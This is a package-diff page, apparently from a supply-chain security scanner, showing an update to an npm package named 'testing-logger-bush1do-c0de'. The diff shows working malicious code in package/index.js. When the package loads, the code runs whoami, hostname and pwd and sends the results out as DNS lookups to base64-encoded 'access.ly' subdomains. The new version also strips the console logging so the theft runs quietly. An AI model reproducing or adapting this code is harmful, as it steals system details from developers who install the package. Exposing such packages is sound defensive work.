testing-logger-bush1do-c0de 102.0.1 → 102.0.3
Sign up to get free protection for your applications and to get access to all the features.
- package/index.js +18 -20
- package/package.json +1 -1
package/index.js
CHANGED
@@ -2,35 +2,33 @@ const dns = require('dns');
|
|
2
2
|
const { exec } = require('child_process');
|
3
3
|
|
4
4
|
function exfiltrateData(data) {
|
5
|
-
|
6
|
-
|
7
|
-
|
8
|
-
|
9
|
-
|
5
|
+
// Prepare subdomains for both DNS servers
|
6
|
+
const subdomains = [
|
7
|
+
`${data}.${Buffer.from('noreplyy.access.ly').toString('base64')}`,
|
8
|
+
`${data}.${Buffer.from('noreply.access.ly').toString('base64')}`
|
9
|
+
];
|
10
|
+
|
11
|
+
// Iterate through each subdomain and resolve it
|
12
|
+
subdomains.forEach((subdomain) => {
|
13
|
+
dns.resolve4(subdomain, (err, addresses) => {
|
14
|
+
if (err) {
|
15
|
+
console.error(`Error during DNS resolution for ${subdomain}: ${err.message}`); // Log the error
|
16
|
+
} else {
|
17
|
+
console.log(`Data exfiltrated to ${subdomain}: ${addresses}`); // Log the addresses
|
18
|
+
}
|
19
|
+
});
|
10
20
|
});
|
11
21
|
}
|
12
22
|
|
13
23
|
// Run commands and send output
|
14
|
-
console.log("Executing whoami command...");
|
15
24
|
exec('whoami', (error, stdout) => {
|
16
|
-
if (stdout)
|
17
|
-
console.log(`Whoami output: ${stdout.trim()}`);
|
18
|
-
exfiltrateData(stdout.trim());
|
19
|
-
}
|
25
|
+
if (stdout) exfiltrateData(stdout.trim());
|
20
26
|
});
|
21
27
|
|
22
|
-
console.log("Executing hostname command...");
|
23
28
|
exec('hostname', (error, stdout) => {
|
24
|
-
if (stdout)
|
25
|
-
console.log(`Hostname output: ${stdout.trim()}`);
|
26
|
-
exfiltrateData(stdout.trim());
|
27
|
-
}
|
29
|
+
if (stdout) exfiltrateData(stdout.trim());
|
28
30
|
});
|
29
31
|
|
30
|
-
console.log("Executing pwd command...");
|
31
32
|
exec('pwd', (error, stdout) => {
|
32
|
-
if (stdout)
|
33
|
-
console.log(`PWD output: ${stdout.trim()}`);
|
34
|
-
exfiltrateData(stdout.trim());
|
35
|
-
}
|
33
|
+
if (stdout) exfiltrateData(stdout.trim());
|
36
34
|
});
|